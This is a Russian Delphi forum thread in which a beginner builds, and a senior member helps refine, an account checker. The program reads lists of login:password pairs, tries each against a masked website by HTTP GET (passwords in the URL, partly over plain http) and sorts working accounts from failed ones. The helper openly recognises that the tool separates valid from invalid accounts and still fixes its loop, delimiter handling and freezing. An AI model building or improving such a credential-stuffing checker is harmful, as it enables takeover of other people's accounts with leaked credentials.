Форум по Delphi программированию

Delphi Sources



Вернуться   Форум по Delphi программированию > Все о Delphi > [ "Начинающим" ]
Ник
Пароль
Регистрация <<         Правила форума         >> FAQ Пользователи Календарь Поиск Сообщения за сегодня Все разделы прочитаны

Закрытая тема
 
Опции темы Поиск в этой теме Опции просмотра
  #1  
Старый 15.04.2015, 09:59
AlexBerg001 AlexBerg001 вне форума
Прохожий
 
Регистрация: 13.04.2015
Сообщения: 24
Версия Delphi: Delphi 2010
Репутация: 10
По умолчанию Загрузка базы

Здравствуйте, в общем вопрос такой, как сделать чтобы программа загружала список из текстового файла с разделителем и брала данные оттуда. Помогите, что-то никак не могу сам понять. В этом варианте она берет данные из окон sEdit. Вот код если что:
Код:
unit Unit2;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, StdCtrls, sButton, ComCtrls, acProgressBar, sMemo,
  sLabel, sEdit, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdHTTP, IdIOHandler, IdIOHandlerSocket, IdIOHandlerStack, IdSSL, IdSSLOpenSSL,
  IdCookieManager, IdIntercept, IdCompressionIntercept, sDialogs;

type
  TForm2 = class(TForm)
    sEdit1: TsEdit;
    sEdit2: TsEdit;
    sLabel1: TsLabel;
    sLabel2: TsLabel;
    sMemo1: TsMemo;
    sButton1: TsButton;
    IdHTTP1: TIdHTTP;
    IdSSLIOHandlerSocketOpenSSL1: TIdSSLIOHandlerSocketOpenSSL;
    sEdit3: TsEdit;
    sLabel3: TsLabel;
    sLabel4: TsLabel;
    sLabel5: TsLabel;
    sMemo2: TsMemo;
    sButton2: TsButton;
    sOpenDialog1: TsOpenDialog;
    procedure sButton1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;



var
  Form2: TForm2;
  Accounts: TStringList;

implementation

{$R *.dfm}


procedure TForm2.sButton1Click(Sender: TObject);
  var
  HTML: string;
begin
 HTML:=IdHTTP1.Get('http://******&Login='+sEdit1.Text+'&Password='+sEdit2.Text);
 if pos ('class="button__valign"', HTML)<>0 then
  begin
   HTML:=IdHTTP1.Get('https://******/search/gosearch?q%5Fquery='+sEdit3.Text+'&q%5Ffolder=all');
   if pos ('class="gosearch-message"', HTML)<>0 then
    begin
     sMemo2.Lines.Add(sEdit1.Text+':'+sEdit2.Text);
    end
    else
    begin
     sMemo1.Lines.Add(sEdit1.Text+':'+sEdit2.Text);
    end;
  end
else
begin
sMemo2.Lines.Add(sEdit1.Text+':'+sEdit2.Text);
end;

end;


end.
Админ: Пользуемся тегами для оформления кода!

Последний раз редактировалось Admin, 15.04.2015 в 19:15.
  #2  
Старый 15.04.2015, 18:10
AlexBerg001 AlexBerg001 вне форума
Прохожий
 
Регистрация: 13.04.2015
Сообщения: 24
Версия Delphi: Delphi 2010
Репутация: 10
По умолчанию

Ну вроде как база загружается, количество строк в Label пишет, но когда пытаюсь вывести текст хотя бы в Memo, при компиляции выдаёт ошибку Project Project1.exe raised exception class EStringListError with message 'List index out of bounds'
Код:
procedure TForm2.sButton2Click(Sender: TObject);
var
Acc: integer;
begin
if sOpenDialog1.Execute then
begin
  Accounts.LoadFromFile(sOpenDialog1.FileName);
  sLabel9.Caption:=inttostr(Accounts.Count);
  Login:=copy(Accounts[Acc],1,pos(';', Accounts[Acc])-1);
  sMemo2.Lines.Add(Login);
  end;
end;

Последний раз редактировалось AlexBerg001, 15.04.2015 в 20:22.
  #3  
Старый 15.04.2015, 23:25
Аватар для Alegun
Alegun Alegun вне форума
LMD-DML
 
Регистрация: 12.07.2009
Адрес: Богородское
Сообщения: 3,025
Версия Delphi: D7E
Репутация: 1834
По умолчанию

Похоже, "мусорная" переменная Acc, нет её инициализации
Код:
Acc:= 0;
<DELETED>

Последний раз редактировалось Alegun, 16.04.2015 в 12:10. Причина: Как обычно - ляп
Этот пользователь сказал Спасибо Alegun за это полезное сообщение:
AlexBerg001 (16.04.2015)
  #4  
Старый 16.04.2015, 09:33
AlexBerg001 AlexBerg001 вне форума
Прохожий
 
Регистрация: 13.04.2015
Сообщения: 24
Версия Delphi: Delphi 2010
Репутация: 10
По умолчанию

В общем да, программа начала работать с первой строкой списка, но как сделать, чтобы она переходила на следующую? Сейчас вид получился вот такой:
Код:
procedure TForm2.sButton1Click(Sender: TObject);
  var
  HTML: string;
  Acc: integer;
begin
if del=';' then
 begin
 Acc:=0;
Login:=copy(Accounts[Acc], 1, pos(';', Accounts[Acc])-1);
Password:=copy(Accounts[Acc], pos(';', Accounts[Acc])+1, MaxInt);
 HTML:=IdHTTP1.Get('http://xxxxxx&Login='+Login+'&Password='+Password);
 if pos ('class="button__valign"', HTML)<>0 then
  begin
   HTML:=IdHTTP1.Get('https://xxxxxx/gosearch?q%5Fquery='+sEdit3.Text+'&q%5Ffolder=all');
   if pos ('class="gosearch-message"', HTML)<>0 then
    begin
     sMemo2.Lines.Add(Login+';'+Password);
     sLabel6.Caption:=inttostr(sMemo2.Lines.Count);
    end
    else
    begin
     sMemo1.Lines.Add(Login+';'+Password);
     sLabel7.Caption:=inttostr(sMemo1.Lines.Count);
    end;
  end
else
begin
sMemo2.Lines.Add(Login+';'+Password);
sLabel6.Caption:=inttostr(sMemo2.Lines.Count);
end;

end;
  #5  
Старый 16.04.2015, 09:54
Аватар для Alegun
Alegun Alegun вне форума
LMD-DML
 
Регистрация: 12.07.2009
Адрес: Богородское
Сообщения: 3,025
Версия Delphi: D7E
Репутация: 1834
По умолчанию

Так и думал, что будет типичное продолжение вопроса Используйте цикл, добавив первой строкой
Код:
 for Acc := 0 to Accounts.Count-1 do
 ...

З.Ы. Только Acc:=0; уберите из основного блока

Последний раз редактировалось Alegun, 16.04.2015 в 12:13.
Этот пользователь сказал Спасибо Alegun за это полезное сообщение:
AlexBerg001 (16.04.2015)
  #6  
Старый 16.04.2015, 10:24
AlexBerg001 AlexBerg001 вне форума
Прохожий
 
Регистрация: 13.04.2015
Сообщения: 24
Версия Delphi: Delphi 2010
Репутация: 10
По умолчанию

Спасибо за подсказки, да всё стало работать)))
Блин, поторопился с выводами, обрабатывает буквально несколько строк и виснет(((
Всё-таки надо наверное как-нибудь поток создавать и в него это всё помещать. Я создал поток, переместил type и procedure на первую форму, добавил constructor и в procedure переместил тот код, который выполнялся по нажатию кнопки Старт, подобавлял перед выражениями TForm2. Но проект всё-равно не хочет компилироваться, пишет что ему неизвестен IdHTTP и ещё гора ошибок. Как сделать правильно-то?
В общем без потока код выглядит вот так:
Код:
unit Unit2;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, StdCtrls, sButton, ComCtrls, acProgressBar, sMemo,
  sLabel, sEdit, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdHTTP, IdIOHandler, IdIOHandlerSocket, IdIOHandlerStack, IdSSL, IdSSLOpenSSL,
  IdCookieManager, IdIntercept, IdCompressionIntercept, sDialogs, sGauge;

type
  TForm2 = class(TForm)
    sMemo1: TsMemo;
    sButton1: TsButton;
    IdHTTP1: TIdHTTP;
    IdSSLIOHandlerSocketOpenSSL1: TIdSSLIOHandlerSocketOpenSSL;
    sEdit3: TsEdit;
    sLabel3: TsLabel;
    sLabel4: TsLabel;
    sLabel5: TsLabel;
    sMemo2: TsMemo;
    sButton2: TsButton;
    sOpenDialog1: TsOpenDialog;
    sLabel6: TsLabel;
    sLabel7: TsLabel;
    sLabel8: TsLabel;
    sLabel9: TsLabel;
    sSkinManager1: TsSkinManager;
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;


var
  Form2: TForm2;
  Accounts: TStringList;
  Login, Password, del: string;

implementation

{$R *.dfm}



procedure TForm2.sButton2Click(Sender: TObject);
begin
Accounts:=TStringList.Create;
if sOpenDialog1.Execute then
begin
  Accounts.LoadFromFile(sOpenDialog1.FileName);
  sLabel9.Caption:=inttostr(Accounts.Count);
  end;
if pos(';', Accounts.Strings[0])<>0 then
begin
  del:=';';
end else
begin
del:=':';
 end;
end;




procedure TForm2.sButton1Click(Sender: TObject);
  var
  HTML: string;
  Acc: integer;
begin
if del=';' then
for Acc := 0 to Accounts.Count-1 do
 begin
 Login:=copy(Accounts[Acc], 1, pos(';', Accounts[Acc])-1);
 Password:=copy(Accounts[Acc], pos(';', Accounts[Acc])+1, MaxInt);
 HTML:=IdHTTP1.Get('http://xxxxxx&Login='+Login+'&Password='+Password);
 if pos ('class="button__valign"', HTML)<>0 then
  begin
   HTML:=IdHTTP1.Get('https://xxxxxx/gosearch?q%5Fquery='+sEdit3.Text+'&q%5Ffolder=all');
   if pos ('class="gosearch-message"', HTML)<>0 then
    begin
     sMemo2.Lines.Add(Login+';'+Password);
     sLabel6.Caption:=inttostr(sMemo2.Lines.Count);
    end
    else
    begin
     sMemo1.Lines.Add(Login+';'+Password);
     sLabel7.Caption:=inttostr(sMemo1.Lines.Count);
    end;
  end
else
begin
sMemo2.Lines.Add(Login+';'+Password);
sLabel6.Caption:=inttostr(sMemo2.Lines.Count);
end;

end;

if del=':' then
for Acc := 0 to Accounts.Count-1 do
begin
Login:=copy(Accounts.Strings[Acc], 1, pos(':', Accounts.Strings[Acc])-1);
Password:=copy(Accounts.Strings[Acc], pos(':', Accounts.Strings[Acc])+1, MaxInt);
 HTML:=IdHTTP1.Get('http://xxxxxx&Login='+Login+'&Password='+Password);
 if pos ('class="button__valign"', HTML)<>0 then
  begin
   HTML:=IdHTTP1.Get('https://xxxxxx/gosearch?q%5Fquery='+sEdit3.Text+'&q%5Ffolder=all');
   if pos ('class="gosearch-message"', HTML)<>0 then
    begin
     sMemo2.Lines.Add(Login+':'+Password);
     sLabel6.Caption:=inttostr(sMemo2.Lines.Count);
    end
    else
    begin
     sMemo1.Lines.Add(Login+':'+Password);
     sLabel7.Caption:=inttostr(sMemo1.Lines.Count);
    end;
  end
else
begin
sMemo2.Lines.Add(Login+':'+Password);
sLabel6.Caption:=inttostr(sMemo2.Lines.Count);
end;

end;

end;



end.

Последний раз редактировалось AlexBerg001, 16.04.2015 в 16:15.
  #7  
Старый 16.04.2015, 18:41
Аватар для Alegun
Alegun Alegun вне форума
LMD-DML
 
Регистрация: 12.07.2009
Адрес: Богородское
Сообщения: 3,025
Версия Delphi: D7E
Репутация: 1834
По умолчанию

Для начала желательно провести оптимизацию, сократить код, напр. зачем несколько раз явно проверять вид разделителя (':' or ';'), в переменной del он уже представлен, значит достаточно сделать так
всего разок
Код:
Login:=copy(Accounts.Strings[Acc], 1, pos(del, Accounts.Strings[Acc])-1);
Password:=copy(Accounts.Strings[Acc], pos(del, Accounts.Strings[Acc])+1, MaxInt);
...
if...
 sMemo2.Lines.Add(Login+del+Password);
плюс явное обращение к визуальным компонентам увеличивает время т.к. оно тратится дополнительно на прорисовку, лучше подключить список типа StringList и после выхода из цикла заполнения передать его "на-гора" в Мемо процедурой .Lines.Assign()... Глядишь, и без потоков начнёт работать
  #8  
Старый 16.04.2015, 19:20
AlexBerg001 AlexBerg001 вне форума
Прохожий
 
Регистрация: 13.04.2015
Сообщения: 24
Версия Delphi: Delphi 2010
Репутация: 10
По умолчанию

C разделителем разобрался - спасибо. А вот с Memo до конца не понял как правильно сделать, я написал вот так, но мне кажется что это ничего не поменяло:
Код:
var
  Form2: TForm2;
  Accounts, good, bad: TStringList;
  Login, Password, del: string;

implementation

{$R *.dfm}



procedure TForm2.sButton2Click(Sender: TObject);
begin
Accounts:=TStringList.Create;
if sOpenDialog1.Execute then
begin
  Accounts.LoadFromFile(sOpenDialog1.FileName);
  sLabel9.Caption:=inttostr(Accounts.Count);
  end;
if pos(';', Accounts.Strings[0])<>0 then
begin
  del:=';';
end else
begin
del:=':';
 end;
end;




procedure TForm2.sButton1Click(Sender: TObject);
  var
  HTML: string;
  Acc: integer;
begin
good:=TStringList.Create;
bad:=TStringList.Create;
for Acc := 0 to Accounts.Count-1 do
 begin
 Login:=copy(Accounts[Acc], 1, pos(del, Accounts[Acc])-1);
 Password:=copy(Accounts[Acc], pos(del, Accounts[Acc])+1, MaxInt);
 HTML:=IdHTTP1.Get('http://xxxxxx&Login='+Login+'&Password='+Password);
 if pos ('class="button__valign"', HTML)<>0 then
  begin
   HTML:=IdHTTP1.Get('https://xxxxxx/gosearch?q%5Fquery='+sEdit3.Text+'&q%5Ffolder=all');
   if pos ('class="gosearch-message"', HTML)<>0 then
    begin
     bad.Add(Login+del+Password);
     sMemo2.Lines.Assign(bad);
     sLabel6.Caption:=inttostr(sMemo2.Lines.Count);
    end
    else
    begin
     good.Add(Login+del+Password);
     sMemo1.Lines.Assign(good);
     sLabel7.Caption:=inttostr(sMemo1.Lines.Count);
    end;
  end
else
begin
bad.Add(Login+del+Password);
sMemo2.Lines.Assign(bad);
sLabel6.Caption:=inttostr(sMemo2.Lines.Count);
end;

end;


end;

end.

Последний раз редактировалось AlexBerg001, 16.04.2015 в 19:46.
  #9  
Старый 16.04.2015, 19:33
Аватар для Alegun
Alegun Alegun вне форума
LMD-DML
 
Регистрация: 12.07.2009
Адрес: Богородское
Сообщения: 3,025
Версия Delphi: D7E
Репутация: 1834
По умолчанию

Я так понимаю, показ в мемо\лейбле результата разбора строки - это своеобразный индикатор хода работы, сортировка на валидный-не валидный акк? Список тогда здесь не подходит, нужно добавить в "тормозном" месте Application.ProcessMessage, чтоб не зависало всё сразу и надолго
  #10  
Старый 16.04.2015, 19:43
AlexBerg001 AlexBerg001 вне форума
Прохожий
 
Регистрация: 13.04.2015
Сообщения: 24
Версия Delphi: Delphi 2010
Репутация: 10
По умолчанию

Ну да, вы всё правильно поняли, так а как узнать где тормозное место то?
  #11  
Старый 16.04.2015, 19:46
Аватар для Alegun
Alegun Alegun вне форума
LMD-DML
 
Регистрация: 12.07.2009
Адрес: Богородское
Сообщения: 3,025
Версия Delphi: D7E
Репутация: 1834
По умолчанию

Как обычно, отладкой но можно предположить - это перед Get-запросом или после него
  #12  
Старый 16.04.2015, 20:01
AlexBerg001 AlexBerg001 вне форума
Прохожий
 
Регистрация: 13.04.2015
Сообщения: 24
Версия Delphi: Delphi 2010
Репутация: 10
По умолчанию

В общем добавил строку Application.ProcessMessages; непосредственно перед каждым get-запросом: 20 строк прошло, дальше зависает и в debug пишет Thread Exit и выпадает окно socket 10060. Всё время с момента нажатия кнопки Старт окно программы подвисает и нельзя его ни двигать, ни скроллбар крутить

Последний раз редактировалось AlexBerg001, 16.04.2015 в 20:04.
  #13  
Старый 16.04.2015, 20:07
Аватар для Alegun
Alegun Alegun вне форума
LMD-DML
 
Регистрация: 12.07.2009
Адрес: Богородское
Сообщения: 3,025
Версия Delphi: D7E
Репутация: 1834
По умолчанию

Покажите пжлст кусман подгружаемого текстового файла, его структуру - попробую вам "не интернетную" матчасть пересобрать
  #14  
Старый 16.04.2015, 20:19
AlexBerg001 AlexBerg001 вне форума
Прохожий
 
Регистрация: 13.04.2015
Сообщения: 24
Версия Delphi: Delphi 2010
Репутация: 10
По умолчанию

В смысле файл Accounts, который я загружаю правильно я вас понял?

Последний раз редактировалось AlexBerg001, 16.04.2015 в 22:14.
  #15  
Старый 16.04.2015, 22:08
Аватар для Alegun
Alegun Alegun вне форума
LMD-DML
 
Регистрация: 12.07.2009
Адрес: Богородское
Сообщения: 3,025
Версия Delphi: D7E
Репутация: 1834
По умолчанию

<DELETED>...что было нужно, я увидел и потопал в сборочный цех

З.Ы. Сплошные двоеточия, а точка с запятой что разделяет, непонятки

Последний раз редактировалось Alegun, 16.04.2015 в 22:15.
Закрытая тема


Delphi Sources

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB-коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Быстрый переход


Часовой пояс GMT +3, время: 10:56.


 

Сайт

Форум

FAQ

Соглашения

Прочее

 

Copyright © Форум "Delphi Sources" by BrokenByte Software, 2004-2025